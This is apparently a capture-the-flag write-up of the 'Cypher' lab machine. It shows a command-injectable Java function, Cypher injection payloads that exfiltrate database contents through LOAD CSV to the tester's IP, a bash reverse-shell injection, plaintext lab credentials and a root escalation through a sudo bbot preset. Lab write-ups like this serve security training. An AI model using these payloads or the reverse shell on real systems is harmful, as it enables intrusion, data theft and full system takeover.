Post

Cypher

Cypher

Cypher is a medium difficulty Linux box. This machine only has two open TCP ports which are SSH and HTTP. The website presents with a description of a graph solution for mapping an organization’s digital landscape. The site itself has very few pages and can be enumerated with tools, such as fuff. The site has an open directory listing at the /testing endpoint which contains a jar file with the source code of a function that is being hosted on the server. This function is used to retrieve the status code of a url. This function is vulnerable to code injection as it does not properly sanitize user input and is making a call to system level functions like curl. The /login endpoint is vulnerable to a Cypher injection, which lets us perform a call to the aforementioned vulnerable function. After injection a reverse shell we get access to the system as a low privilege user. This user can read the home directory of the graphasm user which contains a readable file with credentials, after performing a su command to login as the graphasm user we get access with the same credential. This new user can run the bbot binary as root without providing a password, this binary is vulnerable to privilege escalation which grants us root access.

cron_info_card

Enumeration

Nmap

As always we can start with an nmap scan to view which TCP ports are open, in this case there are only two open ports.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nmap -p22,80 -sCV 10.10.11.57 -Pn -n
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-09 18:45 CEST
Nmap scan report for 10.10.11.57
Host is up (0.043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.43 seconds

We can see that the website tries to redirect us to http://cypher.htb but fails as our machine does not know how to resolve this domain, therefore, we have to add 10.10.11.57 cypher.htb at the end of our /etc/hosts file. Once this is done we can visit the website again at http://cypher.htb. The home page is incredibly laggy on a VM as it has some fancy animations so be careful. I start off with a ffuf scan to quickly enumerate the directories which are hosted on the site.

Directory Fuzzing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ffuf -w /opt/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://cypher.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cypher.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/seclists/Discovery/Web-Content/raft-medium-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

login                   [Status: 200, Size: 3671, Words: 863, Lines: 127, Duration: 45ms]
api                     [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 43ms]
about                   [Status: 200, Size: 4986, Words: 1117, Lines: 179, Duration: 60ms]
demo                    [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 45ms]
index                   [Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 50ms]
testing                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 44ms]
                        [Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 45ms]
:: Progress: [30000/30000] :: Job [1/1] :: 781 req/sec :: Duration: [0:00:38] :: Errors: 2 ::

The login page just looks like a normal login page, since we do not have valid credentials I leave it out for later. The api page is interesting but it does not have visible endpoints and I have yet to study how to properly attack api endpoints so I also skip it. The about and index page just contain information about the website itself and nothing really useful. The demo page is blocked as we do not have a valid session. Lastly, the testing directory contains a very interesting jar file. after downloading and extracting its contents it can be viewed with jd-gui.

Inspecting the Java Source Code

1
jar xf custom-apoc-extension-1.0-SNAPSHOT.jar

After extracting it we can see that there are a couple of interesting files, the one we can focus on is the CustomFunctions.class as it is not a default file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
tree .
.
├── com
│   └── cypher
│       └── neo4j
│           └── apoc
│               ├── CustomFunctions$StringOutput.class
│               ├── CustomFunctions.class
│               ├── HelloWorldProcedure$HelloWorldOutput.class
│               └── HelloWorldProcedure.class
└── META-INF
    ├── MANIFEST.MF
    └── maven
        └── com.cypher.neo4j
            └── custom-apoc-extension
                ├── pom.properties
                └── pom.xml

9 directories, 7 files

We can then open the file with jd-gui and we than then view the source code

1
jd-gui CustomFunctions.class 

We can see the java source code and it is clearly vulnerable to code injection as the url parameter is not sanitized and directly controlled by the user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class CustomFunctions {
  @Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
  @Description("Returns the HTTP status code for the given URL as a string")
  public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
    if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://"))
      url = "https://" + url; 
    String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
    System.out.println("Command: " + Arrays.toString((Object[])command));
    Process process = Runtime.getRuntime().exec(command);
    BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
    BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
    StringBuilder errorOutput = new StringBuilder();
    String line;
    while ((line = errorReader.readLine()) != null)
      errorOutput.append(line).append("\n"); 
    String statusCode = inputReader.readLine();
    System.out.println("Status code: " + statusCode);
    boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
    if (!exited) {
      process.destroyForcibly();
      statusCode = "0";
      System.err.println("Process timed out after 10 seconds");
    } else {
      int exitCode = process.exitValue();
      if (exitCode != 0) {
        statusCode = "0";
        System.err.println("Process exited with code " + exitCode);
      } 
    } 
    if (errorOutput.length() > 0)
      System.err.println("Error output:\n" + errorOutput.toString()); 
    return Stream.of(new StringOutput(statusCode));
  }
  
  public static class StringOutput {
    public String statusCode;
    
    public StringOutput(String statusCode) {
      this.statusCode = statusCode;
    }
  }
}

Command Injection Found

We can see that we can inject code by appending any command by using a valid url and appending a semicolon (;) or a double ampersand (&&). For example if we would like to run the whoami command it would look like this.

1
2
String url = "http://localhost && whoami"
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };

We first provide a valid url which in this cas is "http://localhost" followed by a double ampersand which will execute the second command if the first one succeeds, since we provided a valid URL the whoami command will run. We could also run a bash reverse shell but before that we must examine where we could call this function.

Finding the Cypher Injection

Backtracking to the website we can also start looking at the endpoints we skipped, specifically the /login endpoint is prone to have an SQL injection or similar vulnerabilities. I capture the login request with burpsuite for convenience. The login page makes a post request to the /api/auth endpoint and passes the data in json.

1
2
3
4
{
    "username":"test",
    "password":"test"
}

In response we get back a 401 Unauthorized status page with json data in its reply which is quite common for api’s

1
2
3
{
    "detail":"Invalid credentials"
}

To test for an injection flaw I append a single quote (“’”) after the username to see if we get an unexpected reply from the server, which we do. We get a long python error with a stacktrace but more importantly we get the actual line of the query printed which helps to identify how the statement is being made.

1
2
3
4
{
message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 59 (offset: 58))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'test'' return h.value as hash"
^}

My first thought was that the login page would be using a MySQL database but it seems like it is using neo4j’s cypher query language. I do no have any prior experience injecting with this language but using online guides I am able to work with it. I found this post that details how to get information from the database.

Database Enumeration

To list the columns inside of the table the database is using i use the following payload:

1
2
3
4
{
"username":"' OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM 'http://10.10.14.9/?'+label AS b RETURN b//",
"password":"test"
}

To get the data I set up a listener on port 80 with python and we will get the column names as requests:

1
2
3
4
5
6
7
8
9
sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.57 - - [10/Jul/2025 13:20:46] "GET /?USER HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 13:20:46] "GET /?HASH HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 13:20:46] "GET /?DNS_NAME HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 13:20:46] "GET /?SHA1 HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 13:20:46] "GET /?SCAN HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 13:20:46] "GET /?ORG_STUB HTTP/1.1" 200 -
10.10.11.57 - - [10/Jul/2025 13:20:46] "GET /?IP_ADDRESS HTTP/1.1" 200 -

We can see a couple of interesting columns. To retrieve the data from one of them we can instead use the following payload:

1
2
3
4
{
    "username":"' OR 1=1 WITH 1 as a MATCH (f:COLUMN_NAME) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.9/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //",
    "password":"test"
}

After extracting the data from each column we get a user and a hashed password, a summary of the data is given below:

1
2
User: graphasm
SHA1: 9f54ca4c130be6d529a56dee59dc2b2090e43acf

We can see that there is only one user in the database alongside its hashed password, unfortunately this password does not crack with a mask or dictionary attacks, I also tried an online rainbow table dataset but it also was not abel to find it. At this stage it is pretty clear that the machine wants us to use the previous vulnerable function to get access. I found that you can call functions with cypher queries, since we have an injection we can try calling the vulnerable function to achieve remote code execution. Using the following payload I am able to establish a reverse shell.

1
2
3
4
{
    "username":"' OR 1=1 CALL custom.getUrlStatusCode('http://localhost && bash -c \"bash -i >& /dev/tcp/10.10.14.9/443 0>&1\"') YIELD statusCode RETURN statusCode //",
    "password":"test"
}

Remember from the previous code snippet that our url parameter will become the following:

1
String url = "http://localhost && bash -c \"bash -i >& /dev/tcp/10.10.14.9/443 0>&1\""

Note that we have to escape the double quotes otherwise the query will produce an error. The final code being executed is:

1
/bin/sh -c curl -s -o /dev/null --connect-timeout 1 -w %{http_code} http://localhost && bash -c "bash -i >& /dev/tcp/10.10.14.9/443 0>&1"

Remote Code Execution

If we set up a netcat listener on our machine we can get the connection back as the neo4j user.

1
2
3
4
5
6
7
sudo nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.57] 55330
bash: cannot set terminal process group (1394): Inappropriate ioctl for device
bash: no job control in this shell
neo4j@cypher:/$ whoami
neo4j

Finding the Config File

This user does not have a home directory, to get the user flag we first have to read a file inside the graphasn user’s home directory which contains a file containing credentials:

1
2
3
4
5
6
7
8
9
10
11
neo4j@cypher:/home/graphasm$ cat bbot_preset.yml 
targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK

Trying this password to login as the graphasm user works and we can now read the user flag.

1
2
3
4
5
6
neo4j@cypher:/home/graphasm$ su graphasm
su graphasm
Password: cU4btyib.20xtCMCXkBmerhK

graphasm@cypher:~$ cat user.txt
eaccb7<SNIP>

Privilege Escalation

Once we have access to this user we can run sudo -l to list which binaries we can run as sudo without providing a password.

1
2
3
4
5
6
7
8
sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

Viewing the help command we can see that he version of this tool is outdated an vulnerable to local privilege escalation. I used this post and this github repository to exploit this.

1
2
3
4
5
6
7
8
sudo /usr/local/bin/bbot -h
  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

After uploading the github repository to the machine I use the following command to get root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sudo /usr/local/bin/bbot -t dummy.com -p /home/graphasm/bbot-privescpreset.yml --event-types ROOT

  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

[INFO] Scan with 1 modules seeded with 1 targets (1 in whitelist)
[INFO] Loaded 1/1 scan modules (systeminfo_enum)
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)

[SUCC] systeminfo_enum: 📡 systeminfo_enum setup called — launching shell!

root@cypher:/home/graphasm/10.10.14.9/bbot-privesc# whoami
whoami
root
root@cypher:/home/graphasm/10.10.14.9/bbot-privesc# cat ~/root.txt
cat ~/root.txt
32e50904ec<SNIP>
This post is licensed under CC BY 4.0 by the author.